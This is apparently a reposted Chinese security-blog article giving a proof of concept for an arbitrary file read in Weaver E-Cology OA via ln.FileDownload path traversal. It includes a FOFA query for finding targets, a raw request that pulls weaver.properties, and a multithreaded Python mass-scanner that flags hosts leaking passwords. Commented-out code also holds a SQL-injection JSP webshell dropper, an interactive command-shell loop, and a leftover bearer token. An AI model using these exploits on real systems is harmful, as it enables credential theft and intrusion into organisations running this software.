泛微OA漏洞 任意文件读取 OA E-Cology ln.FileDownload 任意文件读取 PoC

admin 2024年11月25日17:46:50评论80 views字数 9951阅读33分10秒阅读模式
 

漏洞复现‍‍‍‍‍

fofa查询语句:

fofa:app="泛微-OA(e-cology)"

‍‍利用脚本进行检测:‍‍‍‍‍

泛微OA漏洞 任意文件读取 OA E-Cology ln.FileDownload 任意文件读取 PoC

手工复现:

泛微OA漏洞 任意文件读取 OA E-Cology ln.FileDownload 任意文件读取 PoC

获取POC及批量检测脚本

GET /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/prop/weaver.properties HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.1007.136 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

 

import requests
import re
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import random
import os
# from datetime import datetime
# current_year = datetime.now().year
# current_month = datetime.now().strftime('%m')
# year_month = f'{current_year}'+f'{current_month}'
 
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url_list = []
file_name = '泛微OA E-Cology ln.FileDownload 任意文件读取'
# fofa:app="泛微-OA(e-cology)"
def get_ua():
    first_num = random.randint(55, 62)
    third_num = random.randint(0, 3200)
    fourth_num = random.randint(0, 140)
    os_type = [
        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
        '(Macintosh; Intel Mac OS X 10_12_6)'
    ]
    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)
 
    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
                  )
    return ua
 
 
proxies = {'http': 'http://127.0.0.1:8080',
           'https': 'http://127.0.0.1:8080'}
 
 
def wirte_targets(vurl, file_name):
    with open(file_name, "a+") as f:
        f.write(vurl + "\n")
 
 
def check_file(filename):
    print('-------------------------------------------')
    file_path = f'{file_name}_vuln.txt'
    if os.path.isfile(file_path):
        print('存在漏洞的url如下~~~')
        with open(file_path, 'r') as file:
            lines = file.readlines()
            for line in lines:
                print(f'\033[32m{line.strip()}\033[0m')
        math_url = str(len(lines))
        print('存在漏洞url:{}个'.format(math_url))
    else:
        print('未发现漏洞!!!!')
    print('-------------------------------------------')
 
 
def check_vuln(url):
    url = parse.urlparse(url)
    url1 = url.scheme + '://' + url.netloc
    # path = '''?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^ abc.}===={.?n.}'''
    # path1 = '''?n=%0A&cmd=cat /etc/passwd+/all&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^ abc.}===={.?n.}'''
    zuo = '{'
    you = '}'
    vuln_url = f'{url[0]}://{url[1]}/weaver/ln.FileDownload?fpath=../ecology/WEB-INF/prop/weaver.properties'
    # vuln_url1 = f'{url[0]}://{url[1]}/fog/management/only_test.php?0=id'
    headers = {
        'User-Agent': get_ua(),
        'Upgrade-Insecure-Requests': '1',
        # 'Cache-Control': 'max-age=0',
        'Connection': 'close',
        'Accept-Encoding': 'gzip, deflate',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        # 'Blade-Auth': 'bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ',
    }
    # headers1 = {
    #     'User-Agent': get_ua(),
    #     # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    #     # 'Accept-Encoding': 'gzip, deflate',
    #     # 'Connection': 'keep-alive',
    # }
    # headers2 = {
    #     'User-Agent': get_ua(),
    #     'Content-Type': 'text/xml;charset=UTF-8',
    #     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    #     'Accept-Encoding': 'gzip, deflate, br',
    #     'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    #     'Upgrade-Insecure-Requests': '1',
    #     'Priority': 'u=1',
    #     'SOAPAction': 'http://tempuri.org/GetConnectionString',
    #     'Connection': 'close',
    # }
 
    # data = '''{"clientParam":"{\\\"x\\\":{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"xpce95oh.requestrepo.com\\\"}}}"}'''
 
    try :
        res = requests.get(url=vuln_url, headers=headers, allow_redirects=False, timeout=15, verify=False)
        # res1 = requests.get(url=vuln_url1, headers=headers1, allow_redirects=False, timeout=15, verify=False)  #
        # res_time = res.elapsed.total_seconds()
        # cookie = res.cookies['zentaosid']
        # headers1 = {
        #     'User-Agent': get_ua(),
        #     'Accept-Encoding': 'gzip, deflate br',
        #     'Connection': 'close',
        #     'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        #     'Cookie': f'zentaosid={cookie}',
        # }
        # res1 = requests.post(url=vuln_url1, headers=headers1, data=data, allow_redirects=False, timeout=15, verify=False)
        # x_state_value = res.headers.get('X-State')
        # print(x_state_value)
        # headersres = res.headers
        # Location = res.headers.get('Location')
        if res.status_code == 200 and 'password' in res.text:# res_time >= 5
            # user = re.findall(r'user = (.*?)\n', res.text, re.DOTALL)[0]
            # passwd = re.findall(r'password = (.*?)\n', res.text, re.DOTALL)[0]
            # user = user.replace("\n", "")
            # passwd = passwd.replace("\n", "")
            # print(passwd)
            # if res1.status_code == 200 and 'only_test' in res.text:
            # cleaned_url_path = url_path.replace("\\", "")
            # vuln_url1 = f'{url[0]}://{url[1]}/Upload/PrimarySchoolEnrollment/{url_path}'
            # print(vuln_url1)
            # res1 = requests.get(url=vuln_url1, headers=headers1, allow_redirects=False, timeout=15, verify=False)
            # if res1.status_code == 200 and 'only_test' in res1.text:
            print('\033[32m[+]{}\033[0m'.format(vuln_url))  # 延迟:{}秒  ,
            wirte_targets(vuln_url, f"{file_name}_vuln.txt")  #
    # elif res1.status_code == 200 and 'nologin' in res1.text:
    #     print('\033[32m[+]{}   Linux\033[0m'.format(vuln_url1))  # 延迟:{}秒  ,,
    #     wirte_targets(vuln_url1 + '   Linux', f"{file_name}_vuln.txt")  #
        # pwd = re.findall(r'password: \'(.*?)\'', res.text, re.DOTALL)[0]
        # data1 = f'''<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
        #    <soap:Header/>
        #    <soap:Body>
        #       <tem:GetToken>
        #          <!--type: string-->
        #          <tem:endId>{code}</tem:endId>
        #       </tem:GetToken>
        #    </soap:Body>
        # </soap:Envelope>'''
        # res1 = requests.post(url=vuln_url, headers=headers1, data=data1, allow_redirects=False, timeout=15, verify=False)
        # user_id = re.findall(r'User Id=(.*?);', res2.text, re.DOTALL)[0]
        # password = re.findall(r'Password=(.*?);', res2.text, re.DOTALL)[0]
        # return 1
        # else:
        #     print("\033[33m[-]{} not vulnerable. {}\033[0m".format(url1, res1.status_code))
        else:
            print("\033[34m[-]{} not vulnerable. {}\033[0m".format(url1, res.status_code))
    except Exception as e:
        print("\033[31m[!]{} is timeout\033[0m".format(url1))
#
# def cmdshell(url):
#     # 先执行poc
#     if check_vuln(url) == 1:
#         url = parse.urlparse(url)
#         url1 = url.scheme + '://' + url.netloc
#         # 死循环模拟交互式shell
#         while 1:
#             cmd = input("\033[35mshell: \033[0m")
#             vuln_url = f'{url[0]}://{url[1]}/point_manage/merge'
#             vuln_url1 = f'{url[0]}://{url[1]}/only_test.jsp?cmd={cmd}'
#             # 如果输入exit就退出shell
#             if cmd == "exit":
#                 sys.exit(0)
#             else:
#                 try:
#                     # zuo = '{'
#                     # you = '}'
#                     headers = {
#                         'User-Agent': get_ua(),
#                         'Content-Type': 'application/x-www-form-urlencoded',
#                         'Accept': '*/*',
#                         'Accept-Encoding': 'gzip, deflate',
#                         # 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
#                         'Connection': 'close',
#                     }
#                     headers1 = {
#                         'User-Agent': get_ua(),
#                         # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
#                         # 'Connection': 'close',
#                         # 'Content-Type': 'application/x-www-form-urlencoded',
#                     }
#
#                     # zuo = '{'
#                     # you = '}'
#                     data = f'''id=1&name=1' UNION SELECT%0aNULL, 0x3c25206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e742061203d202d313b627974655b5d2062203d206e657720627974655b323034385d3b6f75742e7072696e7428223c7072653e22293b7768696c652828613d696e2e7265616428622929213d2d31297b6f75742e7072696e746c6e286e657720537472696e6728622c302c6129293b7d6f75742e7072696e7428223c2f7072653e22293b6e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b253e,NULL,NULL,NULL,NULL,NULL,NULL
# INTO dumpfile '../../tomcat/webapps/gpsweb/only_test.jsp' FROM user_session a
# WHERE '1 '='1 &type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8'''
#                     # <?php echo shell_exec("dir"); ?>
#
#                     res = requests.post(url=vuln_url, headers=headers, data=data, allow_redirects=False, timeout=15, verify=False)
#                     res1 = requests.get(url=vuln_url1, headers=headers1, allow_redirects=False, timeout=15,
#                                         verify=False)  #
#                     # poc部分给的有解释
#                     if res.status_code == 200 and 'OK' in res.text:
#                         if res1.status_code == 200:
#                             rsp_command = re.findall(r'pre>(.*?)\n</', res1.text, re.DOTALL)[0]
#                             if len(rsp_command) != 0:
#                                 print("\033[32m{}\033[0m".format(rsp_command))
#                             else:
#                                 print("\033[31m[-]{} request flase! {}\033[0m".format(url1, res.text))
#                     else:
#                         print("\033[31m[-]{} request flase! {}\033[0m".format(url1, res.text))
#                 except Exception as e:
#                     print("\033[31m[-]{} is timeout!\033[0m".format(url1))
 
def multithreading(url_list, pools=5):
    works = []
    for i in url_list:
        works.append(i)
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(check_vuln, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()
 
 
if __name__ == '__main__':
    print(f"\n{file_name}\n                         ——————by hyuya~\n"
          f"                            ——————知识星球:大自然的nday搬运库(石占)")
 
    arg = ArgumentParser(description=f'{file_name}')
    arg.add_argument("-u",
                     "--url",
                     help="Target URL; Example:http://ip:port")
    arg.add_argument("-f",
                     "--file",
                     help="Target URL; Example:url.txt")
    # arg.add_argument("-c",
    #                  "--cmd",
    #                  help="command; Example:python3 xxx.py -c http://ip:port")
    args = arg.parse_args()
    url = args.url
    filename = args.file
    start = time()
    # cmd = args.cmd
    print('[*]任务开始...')
    # print('[*]webshell使用冰蝎3连接,密码:rebeyond')
    if url != None and filename == None:  # and cmd==None
        check_vuln(url)
        check_file(f'{file_name}_vuln.txt')
    elif url == None and filename != None:  # and cmd==None
        for i in open(filename):
            i = i.replace('\n', '')
            url_list.append(i)
        multithreading(url_list, 10)
    end = time()
    print('任务完成,用时%d' % (end - start))
    check_file(f'{file_name}_vuln.txt')
    # elif url == None and cmd != None and filename == None:
    #     cmdshell(cmd)

 

 

原文始发于微信公众号(Undoubted Security):【漏洞分享】泛微OA漏洞 任意文件读取 OA E-Cology ln.FileDownload 任意文件读取

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月25日17:46:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   泛微OA漏洞 任意文件读取 OA E-Cology ln.FileDownload 任意文件读取 PoChttps://cn-sec.com/archives/3435379.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息